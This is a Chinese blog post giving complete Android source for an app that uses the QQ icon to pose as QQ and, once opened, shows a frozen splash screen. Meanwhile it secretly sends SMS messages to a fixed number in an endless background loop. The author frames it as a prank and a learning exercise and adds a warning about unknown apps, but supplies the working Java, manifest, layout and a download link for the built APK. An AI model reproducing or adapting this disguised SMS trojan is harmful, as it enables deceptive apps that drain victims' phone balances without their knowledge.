安卓小程序之“偷发短信病毒”

昨天晚上,看到了一个例子,就特别感兴趣迫不及待的想要亲手实现它。是一个后台偷发短信的软件,用的QQ的图标伪装,当用户安装上它并打开时会一直停留在登陆时的画面,很有意思

然而,用户并不知道这时软件已经在后台偷偷的给它指定的号码发短信了。如果在愚人节的时候用这个来愚弄小伙伴们,还挺有意思的,比如让软件指定给某个用户发送:“你好,我是猪!”,后果可想而知,哈哈

如下是程序的源代码:

MainActivity.java文件:

package com.wsqJohn.qq;

import android.os.Bundle;
import android.os.SystemClock;
import android.app.Activity;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.Window;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        //去除标题必须在setContentView 方法前调用
        requestWindowFeature(Window.FEATURE_NO_TITLE);//取出标题
        
        setContentView(R.layout.activity_main);
        
        //开启一个子线程.while(true)循环发短信
        
        new Thread(new Runnable() {
			
			@Override
			public void run() {				
				while(true){
					//循环发送短信				
					SystemClock.sleep(100000);
					SmsManager smsManager = SmsManager.getDefault();//短信管理器
					smsManager.sendTextMessage(
							"10086", //收件人的电话
							null, 
							"你好啊!!!", 
							null, //如果发送成功,回调此方法,通知我们
							null);//当对方接受成功,回调此方法
				}			
			}
		}).start();
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
    
}

  AndroidManifest.xml文件:

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 3     package="com.wsqJohn.qq"
 4     android:versionCode="1"
 5     android:versionName="1.0" >
 6 
 7     <uses-sdk
 8         android:minSdkVersion="8"
 9         android:targetSdkVersion="18" />
10     <!-- 添加发送短信的权限 -->
11     <uses-permission android:name="android.permission.SEND_SMS"/>
12 
13     <application
14         android:allowBackup="true"
15         android:icon="@drawable/ic_launcher"
16         android:label="@string/app_name"
17         android:theme="@style/AppTheme" >
18         <activity
19             android:name="com.wsqJohn.qq.MainActivity"
20             android:label="@string/app_name" >
21             <intent-filter>
22                 <action android:name="android.intent.action.MAIN" />
23 
24                 <category android:name="android.intent.category.LAUNCHER" />
25             </intent-filter>
26         </activity>
27     </application>
28 
29 </manifest>

activity_main.xml布局文件:

1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2     android:layout_width="match_parent"
3     android:layout_height="match_parent"
4     android:background="@drawable/splash"
5      >
6 </RelativeLayout>

总结:这次的练习,更加熟悉了安卓开发的流程,以及各个文件间的关系,也更加熟悉了几个快捷键的用法。如:ctr+1导包,alt+/自动补全代码。还有很多快捷方式,可以让我们在编写代码时非常方便快捷,相信随着学习的进度,掌握的也会更多。

提醒:这次的学习让我更加明白了,不能随便下载并安装位置来源的软件,这样很容易被咋骗,因为这样的一般都有问题,比如说此次的软件,如果在while(true)死循环中SystemClock.sleep(100000);休眠时间设置的不是100秒,而是一秒,指定的电话号码不是10086,那么在用户打开程序的过程中,后天每一秒种都在给指定用户发短信,直到停机欠费,除非用户即使发现并卸载该应用!所以安全第一!

这是此次的下载链接,https://files.cnblogs.com/files/wsqJohn/QQ.apk指定为发给10086的

 

posted @ 2016-03-14 22:02  John_Wang7  阅读(2149)  评论(1编辑  收藏  举报